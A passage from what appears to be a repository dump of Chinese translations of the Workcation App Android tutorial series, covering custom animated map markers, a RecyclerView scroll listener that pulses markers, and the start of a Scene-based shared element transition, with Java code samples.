– 它是怎么工作的呢？\n\n那么它究竟是如何工作的呢？\n\n通过地图映射(映射是用来转换屏幕上的坐标和地理位置的实际坐标，参见[此文档](https://developers.google.com/android/reference/com/google/android/gms/maps/Projection))。我们可以拿到标记的横坐标与纵坐标，通过坐标来在 MapOverlayLayout 上放置标记的自定义 View。\n\n这种做法可以让我们使用比如自定义 View 的属性动画（ViewPropertyAnimator ）API 创建动画效果。\n\n```\npublic class MapOverlayLayout<V extends MarkerView> extends FrameLayout{\n\n\n\n    protected List<V> markersList;\n\n    protected Polyline currentPolyline;\n\n    protected GoogleMap googleMap;\n\n    protected ArrayList<LatLng>polylines;\n\n\n\n    public MapOverlayLayout(final Context context){\n\n        this(context,null);\n\n    }\n\n\n\n    public MapOverlayLayout(final Context context,final AttributeSet attrs){\n\n        super(context,attrs);\n\n        markersList=newArrayList<>();\n\n    }\n\n\n\n    protected void addMarker(final V view){\n\n        markersList.add(view);\n\n        addView(view);\n\n    }\n\n\n\n    protected void removeMarker(final V view){\n\n        markersList.remove(view);\n\n        removeView(view);\n\n    }\n\n\n\n    public void showMarker(final int position){\n\n        markersList.get(position).show();\n\n    }\n\n\n\n    private void refresh(final int position,final Point point){\n\n        markersList.get(position).refresh(point);\n\n    }\n\n\n\n    public void setupMap(final GoogleMap googleMap){\n\n        this.googleMap = googleMap;\n\n    }\n\n\n\n    public void refresh(){\n\n        Projection projection=googleMap.getProjection();\n\n        for(int i=0;i<markersList.size();i++){\n\n            refresh(i,projection.toScreenLocation(markersList.get(i).latLng()));\n\n        }\n\n    }\n\n\n\n    public void setOnCameraIdleListener(final GoogleMap.OnCameraIdleListener listener){\n\n        googleMap.setOnCameraIdleListener(listener);\n\n    }\n\n\n\n    public void setOnCameraMoveListener(final GoogleMap.OnCameraMoveListener listener){\n\n        googleMap.setOnCameraMoveListener(listener);\n\n    }\n\n\n\n    public void moveCamera(final LatLngBounds latLngBounds){\n\n        googleMap.moveCamera(CameraUpdateFactory.newLatLngBounds(latLngBounds,150));\n\n    }\n\n}\n```\n\n解释一下在 **moveMapAndAddMarker** 里调用的方法：为 CameraListeners 监听提供了 set 方法；**刷新**方法是为了更新标记的位置；**addMarker** 和 **removeMarker** 是用来添加 MarkerView (也就是上文所说的自定义 view )到布局和列表中。通过这个方案，MapOverlayLayout持有了所有被添加到自身的 View 引用。在类的最上面的是继承自 自定义 View —— MarkerView —— 的泛型。MarkerView 是一个继承自 View 的抽象类，看起来像这样：\n\n```\npublic abstract class MarkerView extends View{\n\n\n\n    protected Point point;\n\n    protected LatLng latLng;\n\n\n\n    private MarkerView(final Context context){\n\n        super(context);\n\n    }\n\n\n\n    public MarkerView (final Context context,final LatLng latLng,final Point point){\n\n        this(context);\n\n        this.latLng=latLng;\n\n        this.point=point;\n\n    }\n\n\n\n    public double lat(){\n\n        return latLng.latitude;\n\n    }\n\n\n\n    public double lng(){\n\n        return latLng.longitude;\n\n    }\n\n\n\n    public Point point(){\n\n        return point;\n\n    }\n\n\n\n    public LatLng latLng(){\n\n        return latLng;\n\n    }\n\n\n\n    public abstract voi dshow();\n\n\n\n    public abstract void hide();\n\n\n\n    public abstract void refresh(final Point point);\n\n}\n```\n\n通过抽象方法 **show, hide** 和 **refresh** ，我们能够指定该标记显示、消失和刷新的方式。它还需要 Context 对象、经纬度和在屏幕上的坐标点。我们一起来看看它的实现类：\n\n```\npublic class PulseMarkerView extends MarkerView{\n\n    private static final int STROKE_DIMEN=2;\n\n\n\n    private Animation scaleAnimation;\n\n    private Paint strokeBackgroundPaint;\n\n    private Paint backgroundPaint;\n\n    private String text;\n\n    private Paint textPaint;\n\n    private AnimatorSet showAnimatorSet,hideAnimatorSet;\n\n\n\n    public PulseMarkerView(final Context context,final LatLng latLng,final Point point){\n\n        super(context,latLng,point);\n\n        this.context=context;\n\n        setVisibility(View.INVISIBLE);\n\n        setupSizes(context);\n\n        setupScaleAnimation(context);\n\n        setupBackgroundPaint(context);\n\n        setupStrokeBackgroundPaint(context);\n\n        setupTextPaint(context);\n\n        setupShowAnimatorSet();\n\n        setupHideAnimatorSet();\n\n    }\n\n\n\n    public PulseMarkerView(final Context context,final LatLng latLng,final Point point,final int position){\n\n        this(context,latLng,point);\n\n        text=String.valueOf(position);\n\n    }\n\n\n\n    private void setupHideAnimatorSet(){\n\n        Animator animatorScaleX=ObjectAnimator.ofFloat(this,View.SCALE_X,1.0f,0.f);\n\n        Animator animatorScaleY=ObjectAnimator.ofFloat(this,View.SCALE_Y,1.0f,0.f);\n\n        Animator animator=ObjectAnimator.ofFloat(this,View.ALPHA,1.f,0.f).setDuration(300);\n\n        animator.addListener(newAnimatorListenerAdapter(){\n\n            @Override\n\n            publicvoidonAnimationStart(finalAnimator animation){\n\n                super.onAnimationStart(animation);\n\n                setVisibility(View.INVISIBLE);\n\n                invalidate();\n\n            }\n\n        });\n\n        hideAnimatorSet=newAnimatorSet();\n\n        hideAnimatorSet.playTogether(animator,animatorScaleX,animatorScaleY);\n\n    }\n\n\n\n    private void setupSizes(finalContext context){\n\n        size=GuiUtils.dpToPx(context,32)/2;\n\n    }\n\n\n\n    private void setupShowAnimatorSet(){\n\n        Animator animatorScaleX=ObjectAnimator.ofFloat(this,View.SCALE_X,1.5f,1.f);\n\n        Animator animatorScaleY=ObjectAnimator.ofFloat(this,View.SCALE_Y,1.5f,1.f);\n\n        Animator animator=ObjectAnimator.ofFloat(this,View.ALPHA,0.f,1.f).setDuration(300);\n\n        animator.addListener(newAnimatorListenerAdapter(){\n\n            @Override\n\n            public void onAnimationStart(finalAnimator animation){\n\n                super.onAnimationStart(animation);\n\n                setVisibility(View.VISIBLE);\n\n                invalidate();\n\n            }\n\n        });\n\n        showAnimatorSet = newAnimatorSet();\n\n        showAnimatorSet.playTogether(animator,animatorScaleX,animatorScaleY);\n\n    }\n\n\n\n    private void setupScaleAnimation(final Context context){\n\n        scaleAnimation=AnimationUtils.loadAnimation(context,R.anim.pulse);\n\n        scaleAnimation.setDuration(100);\n\n    }\n\n\n\n    private void setupTextPaint(final Context context){\n\n        textPaint=newPaint();\n\n        textPaint.setColor(ContextCompat.getColor(context,R.color.white));\n\n        textPaint.setTextAlign(Paint.Align.CENTER);\n\n        textPaint.setTextSize(context.getResources().getDimensionPixelSize(R.dimen.textsize_medium));\n\n    }\n\n\n\n    private void setupStrokeBackgroundPaint(final Context context){\n\n        strokeBackgroundPaint=newPaint();\n\n        strokeBackgroundPaint.setColor(ContextCompat.getColor(context,android.R.color.white));\n\n        strokeBackgroundPaint.setStyle(Paint.Style.STROKE);\n\n        strokeBackgroundPaint.setAntiAlias(true);\n\n        strokeBackgroundPaint.setStrokeWidth(GuiUtils.dpToPx(context,STROKE_DIMEN));\n\n    }\n\n\n\n    private void setupBackgroundPaint(final Context context){\n\n        backgroundPaint=newPaint();\n\n        backgroundPaint.setColor(ContextCompat.getColor(context,android.R.color.holo_red_dark));\n\n        backgroundPaint.setAntiAlias(true);\n\n    }\n\n\n\n    @Override\n\n    public void setLayoutParams(final ViewGroup.LayoutParams params){\n\n        FrameLayout.LayoutParams frameParams=newFrameLayout.LayoutParams(FrameLayout.LayoutParams.WRAP_CONTENT,FrameLayout.LayoutParams.WRAP_CONTENT);\n\n        frameParams.width=(int)GuiUtils.dpToPx(context,44);\n\n        frameParams.height=(int)GuiUtils.dpToPx(context,44);\n\n        frameParams.leftMargin=point.x-frameParams.width/2;\n\n        frameParams.topMargin=point.y-frameParams.height/2;\n\n        super.setLayoutParams(frameParams);\n\n    }\n\n\n\n    public void pulse(){\n\n        startAnimation(scaleAnimation);\n\n    }\n\n\n\n    @Override\n\n    protected void onDraw(final Canvas canvas){\n\n        drawBackground(canvas);\n\n        drawStrokeBackground(canvas);\n\n        drawText(canvas);\n\n        super.onDraw(canvas);\n\n    }\n\n\n\n    private void drawText(final Canvas canvas){\n\n        if(text!=null&&!TextUtils.isEmpty(text))\n\n            canvas.drawText(text,size,(size-((textPaint.descent()+textPaint.ascent())/2)),textPaint);\n\n    }\n\n\n\n    private void drawStrokeBackground(final Canvas canvas){\n\n        canvas.drawCircle(size,size,GuiUtils.dpToPx(context,28)/2,strokeBackgroundPaint);\n\n    }\n\n\n\n    private void drawBackground(final Canvas canvas){\n\n        canvas.drawCircle(size,size,size,backgroundPaint);\n\n    }\n\n\n\n    public void setText(Stringtext){\n\n        this.text=text;\n\n        invalidate();\n\n    }\n\n\n\n    @Override\n\n    public void hide(){\n\n        hideAnimatorSet.start();\n\n    }\n\n\n\n    @Override\n\n    public void refresh(finalPoint point){\n\n        this.point=point;\n\n        updatePulseViewLayoutParams(point);\n\n    }\n\n\n\n    @Override\n\n    public void show(){\n\n        showAnimatorSet.start();\n\n    }\n\n\n\n    public void showWithDelay(final int delay){\n\n        showAnimatorSet.setStartDelay(delay);\n\n        showAnimatorSet.start();\n\n    }\n\n\n\n    public void updatePulseViewLayoutParams(final Point point){\n\n        this.point=point;\n\n        FrameLayout.LayoutParams params=newFrameLayout.LayoutParams(FrameLayout.LayoutParams.WRAP_CONTENT,FrameLayout.LayoutParams.WRAP_CONTENT);\n\n        params.width=(int)GuiUtils.dpToPx(context,44);\n\n        params.height=(int)GuiUtils.dpToPx(context,44);\n\n        params.leftMargin=point.x-params.width/2;\n\n        params.topMargin=point.y-params.height/2;\n\n        super.setLayoutParams(params);\n\n        invalidate();\n\n    }\n\n}\n```\n\n这是继承自 MarkerView 的 PulseMarkerView。在构造方法（constructor）中，我们设置一个显示、消失和闪烁的动画序列(AnimatorSets)。在重写 MarkerView 的方法里，我们只是单纯的启动了这个动画序列。**updatePulseViewLayoutParams** 中更新了屏幕上的 PulseViewMarker。接下来就是使用构造方法里创建的 Paints 来绘制界面。\n\n效果：\n\n![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/load_markers_pulse.gif?x77083)\n\n\n**加载地图和滑动 RecycleView**\n\n![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/moving_map.gif?x77083)\n\n\n**移动地图镜头时刷新标记**\n\n![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/zooming_map.gif?x77083)\n\n\n**地图缩放**\n\n![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/zooming_pulsing.gif?x77083)\n\n\n**缩放和滚动效果**\n\n# 总结\n\n\n如上所示，这种做法有一个巨大的优势 —— 我们可以广泛的使用自定义 View 的力量。不过呢，移动地图和刷新标记位置的时候会有一点小延迟。和完成的需求相比，这是可以可以接受的代价。\n\n多谢阅读！下一篇会在周二 14:03 更新。如果有任何疑问，欢迎评论。如果觉得有帮助的话，不要忘记分享哟。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md",
    "content": "> * 原文地址：[Workcation App – Part 3. RecyclerView interaction with Animated Markers](https://www.thedroidsonroids.com/blog/workcation-app-part-3-recyclerview-interaction-with-animated-markers/)\n> * 原文作者：[Mariusz Brona](https://www.thedroidsonroids.com/blog/workcation-app-part-3-recyclerview-interaction-with-animated-markers/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[龙骑将杨影枫](https://github.com/stormrabbit)\n> * 校对者：[Vivienmm](https://github.com/Vivienmm)、[张拭心](https://github.com/shixinzhang)\n\n#  Workcation App – 第三部分. 带有动画的标记（Animated Markers） 与 RecyclerView 的互动\n\n欢迎阅读本系列文章的第三篇，此系列文章和我前一段时间完成的“研发”项目有关。在文章里，我会针对开发中遇到的动画问题分享一些解决办法。\n\nPart 1: [自定义 Fragment  转场](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)\n\nPart 2: [带有动画的标记（Animating Markers） 与 MapOverlayLayout ](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md)\n\nPart 3: [带有动画的标记（Animated Markers） 与 RecyclerView 的互动](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)\n\nPart 4: [场景（Scenes）和 RecyclerView 的共享元素转场动画（Shared Element Transition）](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md)\n\n项目的 Git 地址:  [Workcation App](https://github.com/panwrona/Workcation)\n\n动画的 Dribbble 地址: [https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)\n\n# 序言\n\n几个月前我们开了一个部门会议，在会议上我的朋友 Paweł Szymankiewicz 给我演示了他在自己的“研发”项目上制作的动画。我非常喜欢这个动画，会后决定用代码实现它。我可没想到到我会摊上啥...\n\n\n![](https://www.thedroidsonroids.com/wp-content/uploads/2017/02/Bali-App-Animation-3-color-2.gif?x77083)\n\nGIF 1 **“动画效果”**\n\n# 开始吧！\n\n就像上面 GIF 动画展示的，需要做的事情有很多。\n\n1. 在点击底部菜单栏最右方的菜单后，我们会跳转到一个新界面。在此界面中，地图通过缩放和渐显的转场动画在屏幕上方加载，Recycleview 的 item 随着转场动画从底部加载，地图上的标记点在转场动画执行的同时被添加到地图上.\n\n2. 当滑动底部的 RecycleView item 的时候，地图上的标记会通过闪烁来显示它们的位置(译者注：原文是show their **position** on the map，个人认为 position 有两层含义：一代表标记在地图上的位置，二代表标记所对应的 item 在 RecycleView 里的位置。)\n\n3. 在点击一个 item 以后，我们会进入到新界面。在此界面中，地图通过动画方式来显示出路径以及起始/结束标记。同时此 RecyclerView 的item 会通过转场动画展示一些关于此地点的描述，背景图片也会放大，还附有更详细的信息和一个按钮。\n\n4. 当后退时，详情页通过转场变成普通的 RecycleView Item，所有的地图标记再次显示，同时路径一起消失。\n\n就这么多啦，这就是我准备在这一系列文章中向你展示的东西。在本文中，我会解决如何让标记与 RecycleView 产生互动。\n\n# 需求\n\nRecyclerView 有一些本地工具来管理自身的状态。我们可以设置 ItemAnimator 或者 ItemDecorator 来添加一些不错的动画效果，通过 ViewHolder 和 LayoutManager 来控制布局的尺寸和位置。我们还有 listener 来监听 RecyclerView 的特殊状态。\n\n如上所示，这是一个横向的 RecyclerView，该 RecycleView 包含一组记录巴厘岛周边详情的 CardViews。当滑动 RecyclerView 的时候，对应的标记要做出闪烁。所以如何实现呢？当然是有一些问题需要解决的 🙂！\n\n## OnScrollListener\n\nOnScrollListener 是一个允许我们**在 RecyclerView 的滑动事件被触发时接收回调的类(参见[此处](https://developer.android.com/reference/android/support/v7/widget/RecyclerView.OnScrollListener.html))**。该类有 **onScrolled** 方法 —— 这是联系滚动位置（position）和标记的关键。该回调方法监听滚动事件。让我们看一看它长啥样：\n\n\n\n```\nJava\n    @Override\n\n    public void onScrolled(final RecyclerView recyclerView,final int dx,final int dy){\n\n        super.onScrolled(recyclerView,dx,dy);\n\n    }\n```\n\n如我们所见，此回调传入一个RecyclerView对象作为参数，还有整数型参数 dx 和 dy。“dx” 是横移量，“dy”是纵移量。在本项目中，我们只对 recycleview 参数感兴趣.\n\n## 第一个想法 ##\n\n好吧，既然我们已经有了含有 **onScrolled** 方法的 OnScrollListener 类，那就不复杂了吧？我们需要判断某个 RecycleView 的 item 是否处于正中心，如果是的话就通知对应的标记闪烁。简单不？确实很简单，但是不管用 🙂。再看一下动画，第一个 item 和最后一个 item 永远不会到达 RecycleView 的中心。\n\n## 第二个想法\n\n该怎么做呢？触发标记闪烁的触发点是随着 RecyclerView 的滑动而移动的。所以这个触发点的起始位置应该在第一个 item 的中心，最终位置应该在最后一个 item 的中心。我们需要做些数学计算来判断触发点和闪烁标记的关联。\n\n管用吗？\n\n还是不管用 🙂。 **onScrolle** 方法不是每一个像素都被触发的。如果我们滑动 RecycleView 的速度太快，收到的回调就很少。那么应该怎么办呢？\n\n## 第三个想法\n\n很简单。既然不能计算移动的触发点 —— 因为看起来它不会包含“偏移量”的参数，那就移动“范围”。当该范围覆盖比如说 70% 的 RecycleView 子布局时，触发标记的闪烁。不妨把它想想成一个从左至右移动的矩形。让我们看看实现吧：\n\n```\nJava\n\npublic class HorizontalRecyclerViewScrollListener extends RecyclerView.OnScrollListener{\n\n    private static final int OFFSET_RANGE = 50;\n\n    private static final double COVER_FACTOR = 0.7;\n\n\n\n    private int[] itemBounds = null;\n\n    private final OnItemCoverListener listener;\n\n\n\n    public HorizontalRecyclerViewScrollListener(final OnItemCoverListener listener){\n\n        this.listener=listener;\n\n    }\n\n\n\n    @Override\n\n    public void onScrolled(final RecyclerView recyclerView,final int dx,final int dy){\n\n        super.onScrolled(recyclerView,dx,dy);\n\n        if(itemBounds == null)\n            fillItemBounds(recyclerView.getAdapter().getItemCount(),recyclerView);\n\n        for(int i=0;i<itemBounds.length;i++){\n\n            if(isInChildItemsRange(recyclerView.computeHorizontalScrollOffset(),itemBounds[i],OFFSET_RANGE))\n                listener.onItemCover(i);\n\n        }\n\n    }\n\n\n\n    private void fillItemBounds(final int itemsCount,final RecyclerView recyclerView){\n\n        itemBounds=new int[itemsCount];\n\n        int childWidth=(recyclerView.computeHorizontalScrollRange()-recyclerView.computeHorizontalScrollExtent())/itemsCount;\n\n        for(inti=0;i<itemsCount;i++){\n\n            itemBounds[i]=(int)(((childWidth*i+childWidth*(i+1))/2)*COVER_FACTOR);\n\n        }\n\n    }\n\n\n\n    private boolean isInChildItemsRange(final int offset,final int itemBound,final int range){\n\n        int rangeMin=itemBound-range;\n\n        int rangeMax=itemBound+range;\n\n        return (Math.min(rangeMin,rangeMax)<=offset) && (Math.max(rangeMin,rangeMax)>=offset);\n\n    }\n\n\n\n    public interface OnItemCoverListener{\n\n        void onItemCover(final int position);\n\n    }\n\n}\n```\n\n首先，我们不希望新代码和 Fragment/Activity 混到一起，因此继承 RecyclerView.OnScrollListener 的类并重写必要的方法。在构造函数中传一个 listener 进去，当 RecycleView 的 item 的范围符合时条件时就调用该 listener 的 **onItemCover** 方法。在 **onScrolled** 方法中，如果 itemBounds 为空我们可以调用 **fillItemBounds** 进行初始化。否则循环判断所有的边距，判断 RecycleView 的 item 是否被指定的范围覆盖。\n\n方法 **fillItemBounds** 以 RecyclerView 的 item 个数为长度创建了一个整数数组。接下来它计算了子布局的宽度（也就是 RecyclerView 的 item 的宽度）。在最后它用“item 的范围”给数组赋值 —— 事实上，这些就是用来计算 RecycleView 是否处于子布局内的“中心”点。\n\n当调用 **onScrolled** 方法时，我们遍历 RecyclerView 的 item，并使用 isInChildItemsRange 方法来判断他们所处的位置是否在范围内。该方法实际上就是当我们移动 RecycleView  时候的“矩形”。该方法计算 **item 的区域**(也就是我们计算并保存在 **itemBounds**里的中心点)与当前的偏移量是否重叠。如果符合条件的话，OnItemCoverListener 会调用 **onItemCover** 方法，传递指定的位置（position） 。通过此参数，我们就可以拿到判断当前的地图标记是哪个，让它进行闪烁。\n\n```\n    //Implementation of the HorizontalRecyclerViewScrollListener\n    // HorizontalRecyclerViewScrollListener 的具体实现\n\n    ...\n\n    recyclerView.addOnScrollListener(new HorizontalRecyclerViewScrollListener(this));\n\n    }\n\n\n\n    //OnItemCoverListener method implementation\n    // 实现 OnItemCoverListener 的方法\n\n    @Override\n\n    public void onItemCover(final int position){\n\n        mapOverlayLayout.showMarker(position);// 在此处刷新标记\n\n    }\n\n\n    //PulseOverlayLayout - see the 2nd article from the series\n\n    //PulseOverlayLayout - 参见系列的第二篇\n\n    public void showMarker(final int position){\n\n        ((PulseMarkerView)markersList.get(position)).pulse();\n\n    }\n\n\n    //PulseMarkerView - see the 2nd article from the series\n\n        //PulseOverlayLayout - 参见系列的第二篇\n\n    public void pulse(){\n\n        startAnimation(scaleAnimation);\n\n    }\n```\n\n效果如下\n\n![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/markers_scaling.gif?x77083)\n\n# 总结\n\n如我们所见，Android Framework 中有一些了不起的工具，但是在很多情况下还是需要思考怎么调用才能把事情按我们所想的实现。最开始的时候还不是很明确，但是现在我们已经找到解决办法了 😉。\n\n多谢阅读！最后一篇会在星期二 4.04 发布。如果有疑问的话欢迎评论，如果觉得有用的话一定要分享哟！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md",
    "content": "> * 原文地址：[Workcation App – Part 4. Shared Element Transition with RecyclerView and Scenes](https://www.thedroidsonroids.com/blog/workcation-app-part-4-shared-element-transition-recyclerview-scenes/)\n> * 原文作者：[Mariusz Brona](https://www.thedroidsonroids.com/blog/workcation-app-part-4-shared-element-transition-recyclerview-scenes/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[龙骑将杨影枫](https://github.com/stormrabbit)\n> * 校对者：[张拭心](https://github.com/shixinzhang)、[Feximin](https://github.com/Feximin)\n\n#  Workcation App – 第四部分. 场景（Scenes）和 RecyclerView 的共享元素转场动画（Shared Element Transition）\n\n\n**探索如何通过场景框架（Scene Framework）创建展示详情页的共享元素转场动画(Shared Element Transition)**。\n\n欢迎阅读本系列文章的第四篇也是最后一篇，此系列文章和我前一段时间完成的“研发”项目有关。在文章里，我会针对开发中遇到的动画问题分享一些解决办法。在这篇博文里，我会编写最后的部分：如何通过场景框架（Scene Framework）创建展示详情页的共享元素转场动画（Shared Element Transition）。\n\nPart 1: [自定义 Fragment  转场](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)\n\nPart 2: [带有动画的标记（Animating Markers） 与 MapOverlayLayout ](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md)\n\nPart 3: [带有动画的标记（Animated Markers） 与 RecyclerView 的互动](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)\n\nPart 4: [场景（Scenes）和 RecyclerView 的共享元素转场动画（Shared Element Transition）](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md)\n\n项目的 Git 地址:  [Workcation App](https://github.com/panwrona/Workcation)\n\n动画的 Dribbble 地址: [https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)\n\n\n## 序言\n\n几个月前我们开了一个部门会议，在会议上我的朋友 Paweł Szymankiewicz 给我演示了他在自己的“研发”项目上制作的动画。我非常喜欢这个动画，在开完会以后我准备把用代码实现它。我可没想到到我会摊上啥...\n\n![](https://www.thedroidsonroids.com/wp-content/uploads/2017/02/Bali-App-Animation-3-color-2.gif?x77083)\n\nGIF 1 **“动画效果”**\n\n# 开始吧！\n\n就像上面 GIF 动画展示的，需要做的事情有很多。\n\n1. 在点击底部菜单栏最右方的菜单后，我们会跳转到一个新界面。在此界面中，地图通过缩放和渐显的转场动画在屏幕上方加载，Recycleview 的 item 随着转场动画从底部加载，地图上的标记点在转场动画执行的同时被添加到地图上.\n\n2. 当滑动底部的 RecycleView item 的时候，地图上的标记会通过闪烁来显示它们的位置(译者注：原文是show their **position** on the map，个人认为 position 有两层含义：一代表标记在地图上的位置，二代表标记所对应的 item 在 RecycleView 里的位置。)\n\n3. 在点击一个 item 以后，我们会进入到新界面。在此界面中，地图通过动画方式来显示出路径以及起始/结束标记。同时此 RecyclerView 的item 会通过转场动画展示一些关于此地点的描述，背景图片也会放大，还附有更详细的信息和一个按钮。\n\n4. 当后退时，详情页通过转场变成普通的 RecycleView Item，所有的地图标记再次显示，同时路径一起消失。\n\n就这么多啦，这就是我准备在这一系列文章中向你展示的东西。在本文中，我回展示如何通过场景框架、共享元素转场动画来展示详情页。\n\n# 需求\n\n好吧，我们已经看过上面的GIF了。在点击了RecycleView 的 item 以后，我们进入了详情页面，上面显示了旅行目的地的一些信息。这确实是一个共享元素的转场动画：view 和 Textview 同时改变自身的大小、填充详情内容，含有红色按钮的详情介绍从底部向上滑动显示。多亏了转场动画框架（Transition Framework），我们可以用代码实现这种酷炫的动画效果。\n\n我最初的想法和 90%的 网上设计一样 —— 声明一个 activities 之间的共享元素转场动画（Shared Element Transition）。然而让我们看一下地图，详情布局下面还有一个动画 —— 绘制路径同时地图缩放至特定位置。所以创建另一个背景透明 activity 并试图在此 activity 上绘制地图的动画效果的做法是不合适的。\n\n我第二个想法是创建一个 fragment 之间的共享元素转场动画（Shared Element Transition）—— 将 DetailsFragment 添加在顶端，在两个 view 之间添加一个转场动画 —— 就是 RecycleView 的 item 和 DetailFragment 的容器。这么做是更好一些 —— 但是对我来说，又是同样的屏幕啊、fragment什么的，有所不同的只是最上层又添了一层布局。那么，有满足我需求的办法吗？\n\n当然有！自从 Android 4.4 以来（Workcation App 的 SDK 是 Android 5.0 以上的版本）我们就有了这么一个选择 —— 场景（Scenes）！当使用转场框架（Transition Framework）的时候，它们确实很勥。我们可以用非常精妙的方式管理用户界面。最重要的是 —— 完全符合我们的需求！看看它是怎么实现的吧!\n\n## RecycleView 的可共享转场动画\n\n让我们从点击 RecycleView 的 item 开始吧。DetailsFragment (带有地图和 RecycleView 的那个)实现了 OnPlaceClickedListener 接口。我们是这样向构造方法传递 OnPlaceClickListener 的接口实现类作为参数的：\n\n```\nJava\n\nBaliPlacesAdapter(OnPlaceClickListener listener,Context context){\n\n    this.listener=listener;\n\n    this.context=context;\n\n}\n```\n\n接着在 **onBindViewHolder** 方法中，点击 RecycleView item 以后触发 *onPlaceClicked*。我们简单的通过给item 设置 **onClickListener** 来实现：\n\n```\n@Override\n\npublic void onBindViewHolder(final BaliViewHolder holder,final int position){\n\n    [...]\n\n    holder.root.setOnClickListener(view->listener.onPlaceClicked(holder.root,TransitionUtils.getRecyclerViewTransitionName(position),position));\n\n    /*\n    译者注：此处是 lamda 表达式，一种便捷的匿名函数语法。等同于\n    holder.root.setOnClickListener( new OnClickListener(View view) {\n            listener.onPlaceClicked(holder.root,TransitionUtils.getRecyclerViewTransitionName(position),position);\n        }\n    );\n\n    AS 里这么写需要 2.4 及以上版本，或者第三方的库。\n    推荐小姐姐翻译的文章:https://github.com/xitu/gold-miner/pull/1578/files\n    */\n\n}\n```\n\n如上所见，我们在 holder 的根节点上设置了点击事件（ **onClickListener**），在本项目中，这个根节点就是 CardView 。我们也把它作为第一个参数传进了 **onPlaceClicked**\n方法。第二个参数是一个固定格式的转场动画名字 —— 只是简单的用位置命名。这么做的原因是我们需要区分哪个 RecycleView 的 item 需要转场动画。每一个名字的格式都是相同的：\n\n```\nJava\n\npublic static String getRecyclerViewTransitionName(final int position){\n\n    return DEFAULT_TRANSITION_NAME + position;\n\n}\n```\n\n最后一个参数，传入了被点击 item 的位置（position）。我们会用同样的数据集合去填充 RecycleView item 和 DetailsLayout，所以需要通过 position 获得具体的 item。下面我们会看到 OnPlaceClickListener 和 BaliViewHolder:\n\n```\nJava\n\ninterface OnPlaceClickListener{\n\n    void onPlaceClicked(View sharedView,String transitionName,final int position);\n\n}\n```\n\n```\nJava\n\nstatic class BaliViewHolder extends RecyclerView.ViewHolder{\n\n\n\n    @BindView(R.id.title)TextView title;\n\n    @BindView(R.id.price)TextView price;\n\n    @BindView(R.id.opening_hours)TextView openingHours;\n\n    @BindView(R.id.root)CardView root;\n\n    @BindView(R.id.headerImage)ImageView placePhoto;\n\n\n\n    BaliViewHolder(finalView itemView){\n\n        super(itemView);\n\n        ButterKnife.bind(this,itemView);\n\n    }\n\n}\n```\n\n含有有 RecycleView 和 Map 的DetailsFragment 实现了 OnPlaceClickListener 接口。让我们看一下具体的 **onPlaceClicked** 方法：\n\n```\nJava\n\n@Override\n\npublic void onPlaceClicked(final View sharedView,final String transitionName,final int position){\n\n    currentTransitionName=transitionName;\n\n    detailsScene=DetailsLayout.showScene(getActivity(),containerLayout,sharedView,transitionName,baliPlaces.get(position));\n\n    drawRoute(position);\n\n    hideAllMarkers();\n\n}\n```\n\n在最开始，我们将 **currentTransitionName** 保存为一个全局变量 —— 当隐藏 DetailsLayout 的场景（scene） 时就会用到它了。同时我们还将这个场景对象赋值给 **detailsScene** 变量 —— 该变量负责正确的处理 **onBackPressed** 方法。下一步，我们会绘制一条我们的位置到目标位置的路径；同时，我们需要隐藏地图上所有的标记。\n\n我们最关心的部分是如何展示这些场景，看看 DetailsLayout 是怎么做的吧！\n\n## 使用场景（Scene Framework）来创建共享的转场动画\n\n在下面是自定义的 CoordinatorLayout。一眼看上去它非常普通，但是多了两个特别的静态方法 **showScene** 和 **hideScene**。让我们再更仔细的看一下它：\n\n\n```\n\npublic class DetailsLayout extends CoordinatorLayout{\n\n\n\n    @BindView(R.id.cardview)\n    CardView cardViewContainer;\n\n    